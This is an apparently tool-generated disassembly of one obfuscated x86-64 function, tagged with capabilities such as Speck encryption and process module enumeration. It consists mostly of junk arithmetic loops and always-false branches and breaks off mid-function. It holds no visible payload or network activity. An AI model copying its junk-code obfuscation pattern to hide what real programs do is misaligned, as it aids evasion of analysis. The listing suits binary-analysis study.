Function at 0x1400f9ea0
Capabilities:
Encrypt data using speck
Enumerate gui resources
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x53c8
call fcn.1401639a0
sub rsp, rax
mov rax, qword [0x1401970c0]
xor rax, rsp
mov qword [rsp + 0x53b0], rax
mov dword [rsp + 0x30], 0
xor eax, eax
cmp eax, 1
je 0x1400fa85a
xor eax, eax
test eax, eax
je 0x1400fa657
mov dword [rsp + 0xec0], 0
jmp 0x1400f9f0a
mov eax, dword [rsp + 0xec0]
inc eax
mov dword [rsp + 0xec0], eax
cmp dword [rsp + 0xec0], 5
jge 0x1400fa652
mov dword [rsp + 0x244], Ordinal_79
mov dword [rsp + 0x9e0], 0
jmp 0x1400f9f40
mov eax, dword [rsp + 0x9e0]
inc eax
mov dword [rsp + 0x9e0], eax
cmp dword [rsp + 0x9e0], 8
jge 0x1400fa170
mov eax, dword [rsp + 0x9e0]
add eax, 6
mov dword [rsp + 0x228], eax
mov eax, dword [rsp + 0x228]
add eax, 5
mov dword [rsp + 0x228], eax
cmp dword [rsp + 0x228], 0x12
jne 0x1400fa15d
mov dword [rsp + 0x218], Ordinal_45
mov eax, dword [rsp + 0x218]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400f9fae
mov eax, dword [rsp + 0x218]
shl eax, 1
mov dword [rsp + 0x218], eax
jmp 0x1400f9fbf
mov eax, dword [rsp + 0x218]
add eax, 3
mov dword [rsp + 0x218], eax
mov eax, dword [rsp + 0x228]
imul eax, dword [rsp + 0x244]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ce4], eax
mov dword [rsp + 0xec4], 0
jmp 0x1400f9ffa
mov eax, dword [rsp + 0xec4]
inc eax
mov dword [rsp + 0xec4], eax
cmp dword [rsp + 0xec4], 5
jge 0x1400fa15d
mov dword [rsp + 0xec8], 0x4d
mov dword [rsp + 0x9e4], 0
jmp 0x1400fa030
mov eax, dword [rsp + 0x9e4]
inc eax
mov dword [rsp + 0x9e4], eax
cmp dword [rsp + 0x9e4], 6
jge 0x1400fa0dc
mov eax, dword [rsp + 0x9e4]
add eax, 3
mov dword [rsp + 0x220], eax
mov eax, dword [rsp + 0x220]
add eax, 2
mov dword [rsp + 0x220], eax
cmp dword [rsp + 0x220], 0xb
jne 0x1400fa0c9
mov dword [rsp + 0x21c], Ordinal_45
mov eax, dword [rsp + 0x21c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa09a
mov eax, dword [rsp + 0x21c]
shl eax, 1
mov dword [rsp + 0x21c], eax
jmp 0x1400fa0ab
mov eax, dword [rsp + 0x21c]
add eax, 3
mov dword [rsp + 0x21c], eax
mov eax, dword [rsp + 0x220]
imul eax, dword [rsp + 0xec8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ce8], eax
cmp dword [rsp + 0x220], 0x12
jl 0x1400fa04f
jmp 0x1400fa020
cmp dword [rsp + 0xec8], 0x23
jle 0x1400fa158
mov eax, dword [rsp + 0xec8]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xecc], eax
mov dword [rsp + 0x224], Ordinal_45
mov eax, dword [rsp + 0x224]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa12c
mov eax, dword [rsp + 0x224]
shl eax, 1
mov dword [rsp + 0x224], eax
jmp 0x1400fa13d
mov eax, dword [rsp + 0x224]
add eax, 3
mov dword [rsp + 0x224], eax
mov eax, dword [rsp + 0xecc]
sub eax, 4
mov dword [rsp + 0xecc], eax
cmp dword [rsp + 0xecc], 0
jg 0x1400fa0fc
jmp 0x1400f9fea
cmp dword [rsp + 0x228], 0x1e
jl 0x1400f9f5f
jmp 0x1400f9f30
cmp dword [rsp + 0x244], 0x23
jle 0x1400fa400
mov eax, dword [rsp + 0x244]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xedc], eax
mov dword [rsp + 0x9e8], 0
jmp 0x1400fa1b1
mov eax, dword [rsp + 0x9e8]
inc eax
mov dword [rsp + 0x9e8], eax
cmp dword [rsp + 0x9e8], 8
jge 0x1400fa3e1
mov eax, dword [rsp + 0x9e8]
add eax, 6
mov dword [rsp + 0x23c], eax
mov eax, dword [rsp + 0x23c]
add eax, 5
mov dword [rsp + 0x23c], eax
cmp dword [rsp + 0x23c], 0x12
jne 0x1400fa3ce
mov dword [rsp + 0x22c], Ordinal_45
mov eax, dword [rsp + 0x22c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa21f
mov eax, dword [rsp + 0x22c]
shl eax, 1
mov dword [rsp + 0x22c], eax
jmp 0x1400fa230
mov eax, dword [rsp + 0x22c]
add eax, 3
mov dword [rsp + 0x22c], eax
mov eax, dword [rsp + 0x23c]
imul eax, dword [rsp + 0x244]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1cec], eax
mov dword [rsp + 0xed0], 0
jmp 0x1400fa26b
mov eax, dword [rsp + 0xed0]
inc eax
mov dword [rsp + 0xed0], eax
cmp dword [rsp + 0xed0], 5
jge 0x1400fa3ce
mov dword [rsp + 0xed4], 0x4d
mov dword [rsp + 0x9ec], 0
jmp 0x1400fa2a1
mov eax, dword [rsp + 0x9ec]
inc eax
mov dword [rsp + 0x9ec], eax
cmp dword [rsp + 0x9ec], 6
jge 0x1400fa34d
mov eax, dword [rsp + 0x9ec]
add eax, 3
mov dword [rsp + 0x234], eax
mov eax, dword [rsp + 0x234]
add eax, 2
mov dword [rsp + 0x234], eax
cmp dword [rsp + 0x234], 0xb
jne 0x1400fa33a
mov dword [rsp + 0x230], Ordinal_45
mov eax, dword [rsp + 0x230]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa30b
mov eax, dword [rsp + 0x230]
shl eax, 1
mov dword [rsp + 0x230], eax
jmp 0x1400fa31c
mov eax, dword [rsp + 0x230]
add eax, 3
mov dword [rsp + 0x230], eax
mov eax, dword [rsp + 0x234]
imul eax, dword [rsp + 0xed4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1cf0], eax
cmp dword [rsp + 0x234], 0x12
jl 0x1400fa2c0
jmp 0x1400fa291
cmp dword [rsp + 0xed4], 0x23
jle 0x1400fa3c9
mov eax, dword [rsp + 0xed4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xed8], eax
mov dword [rsp + 0x238], Ordinal_45
mov eax, dword [rsp + 0x238]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa39d
mov eax, dword [rsp + 0x238]
shl eax, 1
mov dword [rsp + 0x238], eax
jmp 0x1400fa3ae
mov eax, dword [rsp + 0x238]
add eax, 3
mov dword [rsp + 0x238], eax
mov eax, dword [rsp + 0xed8]
sub eax, 4
mov dword [rsp + 0xed8], eax
cmp dword [rsp + 0xed8], 0
jg 0x1400fa36d
jmp 0x1400fa25b
cmp dword [rsp + 0x23c], 0x1e
jl 0x1400fa1d0
jmp 0x1400fa1a1
mov eax, dword [rsp + 0xedc]
sub eax, 4
mov dword [rsp + 0xedc], eax
cmp dword [rsp + 0xedc], 0
jg 0x1400fa194
mov dword [rsp + 0x9f0], 0
jmp 0x1400fa41d
mov eax, dword [rsp + 0x9f0]
inc eax
mov dword [rsp + 0x9f0], eax
cmp dword [rsp + 0x9f0], 8
jge 0x1400fa64d
mov eax, dword [rsp + 0x9f0]
add eax, 6
mov dword [rsp + 0x254], eax
mov eax, dword [rsp + 0x254]
add eax, 5
mov dword [rsp + 0x254], eax
cmp dword [rsp + 0x254], 0x12
jne 0x1400fa63a
mov dword [rsp + 0x240], Ordinal_45
mov eax, dword [rsp + 0x240]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa48b
mov eax, dword [rsp + 0x240]
shl eax, 1
mov dword [rsp + 0x240], eax
jmp 0x1400fa49c
mov eax, dword [rsp + 0x240]
add eax, 3
mov dword [rsp + 0x240], eax
mov eax, dword [rsp + 0x254]
imul eax, dword [rsp + 0x244]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1cf4], eax
mov dword [rsp + 0xee0], 0
jmp 0x1400fa4d7
mov eax, dword [rsp + 0xee0]
inc eax
mov dword [rsp + 0xee0], eax
cmp dword [rsp + 0xee0], 5
jge 0x1400fa63a
mov dword [rsp + 0xee4], 0x4d
mov dword [rsp + 0x9f4], 0
jmp 0x1400fa50d
mov eax, dword [rsp + 0x9f4]
inc eax
mov dword [rsp + 0x9f4], eax
cmp dword [rsp + 0x9f4], 6
jge 0x1400fa5b9
mov eax, dword [rsp + 0x9f4]
add eax, 3
mov dword [rsp + 0x24c], eax
mov eax, dword [rsp + 0x24c]
add eax, 2
mov dword [rsp + 0x24c], eax
cmp dword [rsp + 0x24c], 0xb
jne 0x1400fa5a6
mov dword [rsp + 0x248], Ordinal_45
mov eax, dword [rsp + 0x248]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa577
mov eax, dword [rsp + 0x248]
shl eax, 1
mov dword [rsp + 0x248], eax
jmp 0x1400fa588
mov eax, dword [rsp + 0x248]
add eax, 3
mov dword [rsp + 0x248], eax
mov eax, dword [rsp + 0x24c]
imul eax, dword [rsp + 0xee4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1dc0], eax
cmp dword [rsp + 0x24c], 0x12
jl 0x1400fa52c
jmp 0x1400fa4fd
cmp dword [rsp + 0xee4], 0x23
jle 0x1400fa635
mov eax, dword [rsp + 0xee4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xee8], eax
mov dword [rsp + 0x250], Ordinal_45
mov eax, dword [rsp + 0x250]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa609
mov eax, dword [rsp + 0x250]
shl eax, 1
mov dword [rsp + 0x250], eax
jmp 0x1400fa61a
mov eax, dword [rsp + 0x250]
add eax, 3
mov dword [rsp + 0x250], eax
mov eax, dword [rsp + 0xee8]
sub eax, 4
mov dword [rsp + 0xee8], eax
cmp dword [rsp + 0xee8], 0
jg 0x1400fa5d9
jmp 0x1400fa4c7
cmp dword [rsp + 0x254], 0x1e
jl 0x1400fa43c
jmp 0x1400fa40d
jmp 0x1400f9efa
jmp 0x1400fa85a
mov dword [rsp + 0xeec], 0
jmp 0x1400fa674
mov eax, dword [rsp + 0xeec]
inc eax
mov dword [rsp + 0xeec], eax
cmp dword [rsp + 0xeec], 5
jge 0x1400fa85a
mov dword [rsp + 0xef0], 0x59
mov dword [rsp + 0x9f8], 0
jmp 0x1400fa6aa
mov eax, dword [rsp + 0x9f8]
inc eax
mov dword [rsp + 0x9f8], eax
cmp dword [rsp + 0x9f8], 7
jge 0x1400fa798
mov eax, dword [rsp + 0x9f8]
add eax, 4
mov dword [rsp + 0x260], eax
mov eax, dword [rsp + 0x260]
add eax, 3
mov dword [rsp + 0x260], eax
cmp dword [rsp + 0x260], 0xe
jne 0x1400fa785
mov dword [rsp + 0x258], Ordinal_45
mov eax, dword [rsp + 0x258]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa718
mov eax, dword [rsp + 0x258]
shl eax, 1
mov dword [rsp + 0x258], eax
jmp 0x1400fa729
mov eax, dword [rsp + 0x258]
add eax, 3
mov dword [rsp + 0x258], eax
mov eax, dword [rsp + 0x260]
imul eax, dword [rsp + 0xef0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1dc4], eax
mov dword [rsp + 0x25c], Ordinal_45
mov eax, dword [rsp + 0x25c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa774
mov eax, dword [rsp + 0x25c]
shl eax, 1
mov dword [rsp + 0x25c], eax
jmp 0x1400fa785
mov eax, dword [rsp + 0x25c]
add eax, 3
mov dword [rsp + 0x25c], eax
cmp dword [rsp + 0x260], 0x19
jl 0x1400fa6c9
jmp 0x1400fa69a
cmp dword [rsp + 0xef0], 0x28
jle 0x1400fa814
mov eax, dword [rsp + 0xef0]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xef4], eax
mov dword [rsp + 0x264], Ordinal_45
mov eax, dword [rsp + 0x264]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa7e8
mov eax, dword [rsp + 0x264]
shl eax, 1
mov dword [rsp + 0x264], eax
jmp 0x1400fa7f9
mov eax, dword [rsp + 0x264]
add eax, 3
mov dword [rsp + 0x264], eax
mov eax, dword [rsp + 0xef4]
sub eax, 3
mov dword [rsp + 0xef4], eax
cmp dword [rsp + 0xef4], 0
jg 0x1400fa7b8
mov dword [rsp + 0x268], Ordinal_45
mov eax, dword [rsp + 0x268]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fa844
mov eax, dword [rsp + 0x268]
shl eax, 1
mov dword [rsp + 0x268], eax
jmp 0x1400fa855
mov eax, dword [rsp + 0x268]
add eax, 3
mov dword [rsp + 0x268], eax
jmp 0x1400fa664
xor eax, eax
test eax, eax
je 0x1400fb652
xor eax, eax
test eax, eax
je 0x1400faf29
mov dword [rsp + 0xef8], 0
jmp 0x1400fa88b
mov eax, dword [rsp + 0xef8]
inc eax
mov dword [rsp + 0xef8], eax
cmp dword [rsp + 0xef8], 5
jge 0x1400faf24
mov dword [rsp + 0xf14], 0x3f
mov dword [rsp + 0x9fc], 0
jmp 0x1400fa8c1
mov eax, dword [rsp + 0x9fc]
inc eax
mov dword [rsp + 0x9fc], eax
cmp dword [rsp + 0x9fc], 6
jge 0x1400fabe5
mov eax, dword [rsp + 0x9fc]
add eax, 5
mov dword [rsp + 0x274], eax
mov eax, dword [rsp + 0x274]
add eax, 4
mov dword [rsp + 0x274], eax
cmp dword [rsp + 0x274], 0x11
jne 0x1400fabd2
mov dword [rsp + 0xefc], 0
jmp 0x1400fa91c
mov eax, dword [rsp + 0xefc]
inc eax
mov dword [rsp + 0xefc], eax
cmp dword [rsp + 0xefc], 5
jge 0x1400faa59
mov dword [rsp + 0xf00], 0x2a
mov dword [rsp + 0xa00], 0
jmp 0x1400fa952
mov eax, dword [rsp + 0xa00]
inc eax
mov dword [rsp + 0xa00], eax
cmp dword [rsp + 0xa00], 4
jge 0x1400fa9e8
mov eax, dword [rsp + 0xa00]
add eax, 2
mov dword [rsp + 0x26c], eax
mov eax, dword [rsp + 0x26c]
inc eax
mov dword [rsp + 0x26c], eax
cmp dword [rsp + 0x26c], 7
jne 0x1400fa9d9
mov dword [rsp + 0x6c], Ordinal_79
cmp dword [rsp + 0x6c], 0
jle 0x1400fa9bb
mov eax, dword [rsp + 0x6c]
sub eax, 5
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0xa
jne 0x1400fa9b9
mov eax, dword [rsp + 0x6c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x6c], eax
jmp 0x1400fa993
mov eax, dword [rsp + 0x26c]
imul eax, dword [rsp + 0xf00]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1dc8], eax
cmp dword [rsp + 0x26c], 0xb
jl 0x1400fa971
jmp 0x1400fa942
cmp dword [rsp + 0xf00], 0x14
jle 0x1400faa54
mov eax, dword [rsp + 0xf00]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf04], eax
mov dword [rsp + 0x70], Ordinal_79
cmp dword [rsp + 0x70], 0
jle 0x1400faa39
mov eax, dword [rsp + 0x70]
sub eax, 5
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0xa
jne 0x1400faa37
mov eax, dword [rsp + 0x70]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x70], eax
jmp 0x1400faa11
mov eax, dword [rsp + 0xf04]
sub eax, 2
mov dword [rsp + 0xf04], eax
cmp dword [rsp + 0xf04], 0
jg 0x1400faa09
jmp 0x1400fa90c
mov eax, dword [rsp + 0x274]
imul eax, dword [rsp + 0xf14]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1988], eax
mov dword [rsp + 0xf08], 0
jmp 0x1400faa95
mov eax, dword [rsp + 0xf08]
inc eax
mov dword [rsp + 0xf08], eax
cmp dword [rsp + 0xf08], 5
jge 0x1400fabd2
mov dword [rsp + 0xf0c], 0x2a
mov dword [rsp + 0xa04], 0
jmp 0x1400faacb
mov eax, dword [rsp + 0xa04]
inc eax
mov dword [rsp + 0xa04], eax
cmp dword [rsp + 0xa04], 4
jge 0x1400fab61
mov eax, dword [rsp + 0xa04]
add eax, 2
mov dword [rsp + 0x270], eax
mov eax, dword [rsp + 0x270]
inc eax
mov dword [rsp + 0x270], eax
cmp dword [rsp + 0x270], 7
jne 0x1400fab52
mov dword [rsp + 0x74], Ordinal_79
cmp dword [rsp + 0x74], 0
jle 0x1400fab34
mov eax, dword [rsp + 0x74]
sub eax, 5
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0xa
jne 0x1400fab32
mov eax, dword [rsp + 0x74]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x74], eax
jmp 0x1400fab0c
mov eax, dword [rsp + 0x270]
imul eax, dword [rsp + 0xf0c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x198c], eax
cmp dword [rsp + 0x270], 0xb
jl 0x1400faaea
jmp 0x1400faabb
cmp dword [rsp + 0xf0c], 0x14
jle 0x1400fabcd
mov eax, dword [rsp + 0xf0c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf10], eax
mov dword [rsp + 0x78], Ordinal_79
cmp dword [rsp + 0x78], 0
jle 0x1400fabb2
mov eax, dword [rsp + 0x78]
sub eax, 5
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0xa
jne 0x1400fabb0
mov eax, dword [rsp + 0x78]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x78], eax
jmp 0x1400fab8a
mov eax, dword [rsp + 0xf10]
sub eax, 2
mov dword [rsp + 0xf10], eax
cmp dword [rsp + 0xf10], 0
jg 0x1400fab82
jmp 0x1400faa85
cmp dword [rsp + 0x274], 0x1c
jl 0x1400fa8e0
jmp 0x1400fa8b1
cmp dword [rsp + 0xf14], 0x1e
jle 0x1400fad97
mov eax, dword [rsp + 0xf14]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0xf24], eax
mov dword [rsp + 0xf18], 0
jmp 0x1400fac26
mov eax, dword [rsp + 0xf18]
inc eax
mov dword [rsp + 0xf18], eax
cmp dword [rsp + 0xf18], 5
jge 0x1400fad78
mov dword [rsp + 0xf1c], 0x2a
mov dword [rsp + 0xa08], 0
jmp 0x1400fac5c
mov eax, dword [rsp + 0xa08]
inc eax
mov dword [rsp + 0xa08], eax
cmp dword [rsp + 0xa08], 4
jge 0x1400facf2
mov eax, dword [rsp + 0xa08]
add eax, 2
mov dword [rsp + 0x278], eax
mov eax, dword [rsp + 0x278]
inc eax
mov dword [rsp + 0x278], eax
cmp dword [rsp + 0x278], 7
jne 0x1400face3
mov dword [rsp + 0x7c], Ordinal_79
cmp dword [rsp + 0x7c], 0
jle 0x1400facc5
mov eax, dword [rsp + 0x7c]
sub eax, 5
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0xa
jne 0x1400facc3
mov eax, dword [rsp + 0x7c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x7c], eax
jmp 0x1400fac9d
mov eax, dword [rsp + 0x278]
imul eax, dword [rsp + 0xf1c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ce0], eax
cmp dword [rsp + 0x278], 0xb
jl 0x1400fac7b
jmp 0x1400fac4c
cmp dword [rsp + 0xf1c], 0x14
jle 0x1400fad73
mov eax, dword [rsp + 0xf1c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf20], eax
mov dword [rsp + 0x80], Ordinal_79
cmp dword [rsp + 0x80], 0
jle 0x1400fad58
mov eax, dword [rsp + 0x80]
sub eax, 5
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0xa
jne 0x1400fad56
mov eax, dword [rsp + 0x80]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x80], eax
jmp 0x1400fad1e
mov eax, dword [rsp + 0xf20]
sub eax, 2
mov dword [rsp + 0xf20], eax
cmp dword [rsp + 0xf20], 0
jg 0x1400fad13
jmp 0x1400fac16
mov eax, dword [rsp + 0xf24]
sub eax, 2
mov dword [rsp + 0xf24], eax
cmp dword [rsp + 0xf24], 0
jg 0x1400fac09
mov dword [rsp + 0xf28], 0
jmp 0x1400fadb4
mov eax, dword [rsp + 0xf28]
inc eax
mov dword [rsp + 0xf28], eax
cmp dword [rsp + 0xf28], 5
jge 0x1400faf1f
mov dword [rsp + 0xf2c], 0x2a
mov dword [rsp + 0xa0c], 0
jmp 0x1400fadea
mov eax, dword [rsp + 0xa0c]
inc eax
mov dword [rsp + 0xa0c], eax
cmp dword [rsp + 0xa0c], 4
jge 0x1400fae99
mov eax, dword [rsp + 0xa0c]
add eax, 2
mov dword [rsp + 0x27c], eax
mov eax, dword [rsp + 0x27c]
inc eax
mov dword [rsp + 0x27c], eax
cmp dword [rsp + 0x27c], 7
jne 0x1400fae86
mov dword [rsp + 0x84], Ordinal_79
cmp dword [rsp + 0x84], 0
jle 0x1400fae68
mov eax, dword [rsp + 0x84]
sub eax, 5
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0xa
jne 0x1400fae66
mov eax, dword [rsp + 0x84]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x84], eax
jmp 0x1400fae2e
mov eax, dword [rsp + 0x27c]
imul eax, dword [rsp + 0xf2c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1994], eax
cmp dword [rsp + 0x27c], 0xb
jl 0x1400fae09
jmp 0x1400fadda
cmp dword [rsp + 0xf2c], 0x14
jle 0x1400faf1a
mov eax, dword [rsp + 0xf2c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf30], eax
mov dword [rsp + 0x88], Ordinal_79
cmp dword [rsp + 0x88], 0
jle 0x1400faeff
mov eax, dword [rsp + 0x88]
sub eax, 5
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0xa
jne 0x1400faefd
mov eax, dword [rsp + 0x88]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x88], eax
jmp 0x1400faec5
mov eax, dword [rsp + 0xf30]
sub eax, 2
mov dword [rsp + 0xf30], eax
cmp dword [rsp + 0xf30], 0
jg 0x1400faeba
jmp 0x1400fada4
jmp 0x1400fa87b
jmp 0x1400fb652
mov dword [rsp + 0xf34], 0
jmp 0x1400faf46
mov eax, dword [rsp + 0xf34]
inc eax
mov dword [rsp + 0xf34], eax
cmp dword [rsp + 0xf34], 5
jge 0x1400fb652
mov dword [rsp + 0xf50], 0x34
mov dword [rsp + 0xa10], 0
jmp 0x1400faf7c
mov eax, dword [rsp + 0xa10]
inc eax
mov dword [rsp + 0xa10], eax
cmp dword [rsp + 0xa10], 7
jge 0x1400fb2fb
mov eax, dword [rsp + 0xa10]
add eax, 4
mov dword [rsp + 0x288], eax
mov eax, dword [rsp + 0x288]
add eax, 3
mov dword [rsp + 0x288], eax
cmp dword [rsp + 0x288], 0x10
jne 0x1400fb2e8
mov dword [rsp + 0xf38], 0
jmp 0x1400fafd7
mov eax, dword [rsp + 0xf38]
inc eax
mov dword [rsp + 0xf38], eax
cmp dword [rsp + 0xf38], 5
jge 0x1400fb142
mov dword [rsp + 0xf3c], 0x2a
mov dword [rsp + 0xa14], 0
jmp 0x1400fb00d
mov eax, dword [rsp + 0xa14]
inc eax
mov dword [rsp + 0xa14], eax
cmp dword [rsp + 0xa14], 4
jge 0x1400fb0bc
mov eax, dword [rsp + 0xa14]
add eax, 2
mov dword [rsp + 0x280], eax
mov eax, dword [rsp + 0x280]
inc eax
mov dword [rsp + 0x280], eax
cmp dword [rsp + 0x280], 7
jne 0x1400fb0a9
mov dword [rsp + 0x8c], Ordinal_79
cmp dword [rsp + 0x8c], 0
jle 0x1400fb08b
mov eax, dword [rsp + 0x8c]
sub eax, 5
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0xa
jne 0x1400fb089
mov eax, dword [rsp + 0x8c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x8c], eax
jmp 0x1400fb051
mov eax, dword [rsp + 0x280]
imul eax, dword [rsp + 0xf3c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1998], eax
cmp dword [rsp + 0x280], 0xb
jl 0x1400fb02c
jmp 0x1400faffd
cmp dword [rsp + 0xf3c], 0x14
jle 0x1400fb13d
mov eax, dword [rsp + 0xf3c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf40], eax
mov dword [rsp + 0x90], Ordinal_79
cmp dword [rsp + 0x90], 0
jle 0x1400fb122
mov eax, dword [rsp + 0x90]
sub eax, 5
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0xa
jne 0x1400fb120
mov eax, dword [rsp + 0x90]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x90], eax
jmp 0x1400fb0e8
mov eax, dword [rsp + 0xf40]
sub eax, 2
mov dword [rsp + 0xf40], eax
cmp dword [rsp + 0xf40], 0
jg 0x1400fb0dd
jmp 0x1400fafc7
mov eax, dword [rsp + 0x288]
imul eax, dword [rsp + 0xf50]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x199c], eax
mov dword [rsp + 0xf44], 0
jmp 0x1400fb17d
mov eax, dword [rsp + 0xf44]
inc eax
mov dword [rsp + 0xf44], eax
cmp dword [rsp + 0xf44], 5
jge 0x1400fb2e8
mov dword [rsp + 0xf48], 0x2a
mov dword [rsp + 0xa18], 0
jmp 0x1400fb1b3
mov eax, dword [rsp + 0xa18]
inc eax
mov dword [rsp + 0xa18], eax
cmp dword [rsp + 0xa18], 4
jge 0x1400fb262
mov eax, dword [rsp + 0xa18]
add eax, 2
mov dword [rsp + 0x284], eax
mov eax, dword [rsp + 0x284]
inc eax
mov dword [rsp + 0x284], eax
cmp dword [rsp + 0x284], 7
jne 0x1400fb24f
mov dword [rsp + 0x94], Ordinal_79
cmp dword [rsp + 0x94], 0
jle 0x1400fb231
mov eax, dword [rsp + 0x94]
sub eax, 5
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0xa
jne 0x1400fb22f
mov eax, dword [rsp + 0x94]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x94], eax
jmp 0x1400fb1f7
mov eax, dword [rsp + 0x284]
imul eax, dword [rsp + 0xf48]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x19a0], eax
cmp dword [rsp + 0x284], 0xb
jl 0x1400fb1d2
jmp 0x1400fb1a3
cmp dword [rsp + 0xf48], 0x14
jle 0x1400fb2e3
mov eax, dword [rsp + 0xf48]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf4c], eax
mov dword [rsp + 0x98], Ordinal_79
cmp dword [rsp + 0x98], 0
jle 0x1400fb2c8
mov eax, dword [rsp + 0x98]
sub eax, 5
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0xa
jne 0x1400fb2c6
mov eax, dword [rsp + 0x98]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x98], eax
jmp 0x1400fb28e
mov eax, dword [rsp + 0xf4c]
sub eax, 2
mov dword [rsp + 0xf4c], eax
cmp dword [rsp + 0xf4c], 0
jg 0x1400fb283
jmp 0x1400fb16d
cmp dword [rsp + 0x288], 0x1b
jl 0x1400faf9b
jmp 0x1400faf6c
cmp dword [rsp + 0xf50], 0x19
jle 0x1400fb4c5
mov eax, dword [rsp + 0xf50]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xf60], eax
mov dword [rsp + 0xf54], 0
jmp 0x1400fb33c
mov eax, dword [rsp + 0xf54]
inc eax
mov dword [rsp + 0xf54], eax
cmp dword [rsp + 0xf54], 5
jge 0x1400fb4a7
mov dword [rsp + 0xf58], 0x2a
mov dword [rsp + 0xa1c], 0
jmp 0x1400fb372
mov eax, dword [rsp + 0xa1c]
inc eax
mov dword [rsp + 0xa1c], eax
cmp dword [rsp + 0xa1c], 4
jge 0x1400fb421
mov eax, dword [rsp + 0xa1c]
add eax, 2
mov dword [rsp + 0x28c], eax
mov eax, dword [rsp + 0x28c]
inc eax
mov dword [rsp + 0x28c], eax
cmp dword [rsp + 0x28c], 7
jne 0x1400fb40e
mov dword [rsp + 0x9c], Ordinal_79
cmp dword [rsp + 0x9c], 0
jle 0x1400fb3f0
mov eax, dword [rsp + 0x9c]
sub eax, 5
mov dword [rsp + 0x9c], eax
cmp dword [rsp + 0x9c], 0xa
jne 0x1400fb3ee
mov eax, dword [rsp + 0x9c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x9c], eax
jmp 0x1400fb3b6
mov eax, dword [rsp + 0x28c]
imul eax, dword [rsp + 0xf58]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x19a4], eax
cmp dword [rsp + 0x28c], 0xb
jl 0x1400fb391
jmp 0x1400fb362
cmp dword [rsp + 0xf58], 0x14
jle 0x1400fb4a2
mov eax, dword [rsp + 0xf58]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf5c], eax
mov dword [rsp + 0xa0], Ordinal_79
cmp dword [rsp + 0xa0], 0
